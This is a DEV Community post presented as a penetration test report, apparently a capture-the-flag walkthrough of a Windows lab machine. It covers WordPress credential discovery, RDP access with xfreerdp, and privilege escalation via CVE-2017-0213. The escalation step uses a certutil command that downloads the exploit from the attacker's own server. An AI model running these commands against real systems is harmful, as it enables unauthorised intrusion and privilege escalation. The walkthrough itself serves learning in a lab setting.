DEV Community

Cover image for Comprehensive Penetration Testing Report: Exploitation and System Access
Mohammad ali
Mohammad ali

Posted on

Comprehensive Penetration Testing Report: Exploitation and System Access

2. Web Application Enumeration & Credential Discovery

After determining that the site runs WordPress, we browse the content looking for vulnerabilities or user information leaks.

  • Browsing the Blog and Author Page (Wade):
  • Explanation: Browsing the main page of the site to identify the primary username Wade visible to visitors, then navigating to their profile page to review associated posts.

  • Discovering Hidden Comments or Notes:
  • Explanation: Carefully reading through the post details led to finding a hidden note or comment containing an additional username or password such as parzival.

  • Logging into the Control Panel (WordPress Dashboard):
  • Explanation:
  • Navigating to the login page (wp-login.php).
  • Attempting to log in using the username Wade and trial passwords (which initially resulted in a login failure error).
  • Entering the correct recovered credentials and successfully accessing the WordPress dashboard. 
username : Wade    
password : parzival
Enter fullscreen mode Exit fullscreen mode

3. Initial Access via Remote Desktop (RDP) & Retrieving the First Flag

  • Attempting Remote Desktop Connection (XFreeRDP):
  • Commands Used: 
xfreerdp /v:<Target-IP> /u:wade /p:parzival
Enter fullscreen mode Exit fullscreen mode
  • Explanation: This command is run from your machine to open an interactive Remote Desktop session, granting direct access to the Windows environment using the obtained credentials.

  • Desktop Environment and Viewing the First Flag (user.txt):
  • Explanation:
  • Successful connection and opening of the RetroWeb desktop interface.
  • Locating the user.txt file on the desktop and opening it via Notepad to read the first standard user flag.

  • Encountering Permission Restrictions (UAC):
  • Explanation: The User Account Control (UAC) prompt appears when trying to execute hhupd.exe, indicating that the current account lacks administrator privileges and requires privilege escalation.

4. Preparing and Downloading Privilege Escalation Tools

To inspect the system and exploit local vulnerabilities, suitable exploit tools are prepared and transferred to the target.

  • System Information Enumeration (systeminfo):
  • Commands Used: 
systeminfo
Enter fullscreen mode Exit fullscreen mode
  • Explanation: Running this command inside the Windows command prompt to precisely identify the operating system version (Windows Server 2016 Standard) and installed updates to choose a suitable vulnerability exploit.

  • Selecting the Proper Exploit from GitHub (CVE-2017-0213):
  • Explanation: Browsing the GitHub repository to select the exploit tool designed for Windows privilege escalation and copying its download link.

  • Cloning and Hosting the Tool via Local Server:
  • Commands Used (on your machine): 
wget https://github.com/shaheemirza/CVE-2017-0213-.git
Enter fullscreen mode Exit fullscreen mode 
python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
  • Explanation: Downloading the tool files to your machine and starting a local Python web server to share files with the victim machine.

  • Downloading the Exploit to the Target System (CertUtil):
  • Commands Used (on the victim machine): 
certutil -urlcache -split -f http://<Kali-IP>:8000/CVE-2017-0213_x64.exe pwn.exe
Enter fullscreen mode Exit fullscreen mode
  • Explanation: Using the built-in Windows certutil utility via the command line to fetch the exploit file from your machine and save it as pwn.exe.

5. Executing the Exploit & Gaining Root/Administrator Access

  • Executing the Exploit File (pwn.exe):
  • Commands Used: 
.\pwn.exe
Enter fullscreen mode Exit fullscreen mode
  • Explanation: Running the exploit program in PowerShell to bypass UAC restrictions and spawn a new process with elevated privileges.

  • Final Access and Extracting the Root Flag (root.txt.txt):
  • Commands Used: 
cd C:\Users\Administrator\Desktop
type root.txt.txt
Enter fullscreen mode Exit fullscreen mode
  • Explanation: Opening the command prompt with full Administrator privileges, navigating to the administrator's desktop, and viewing the contents of root.txt.txt to extract the final flag and successfully complete the mission.

Top comments (0)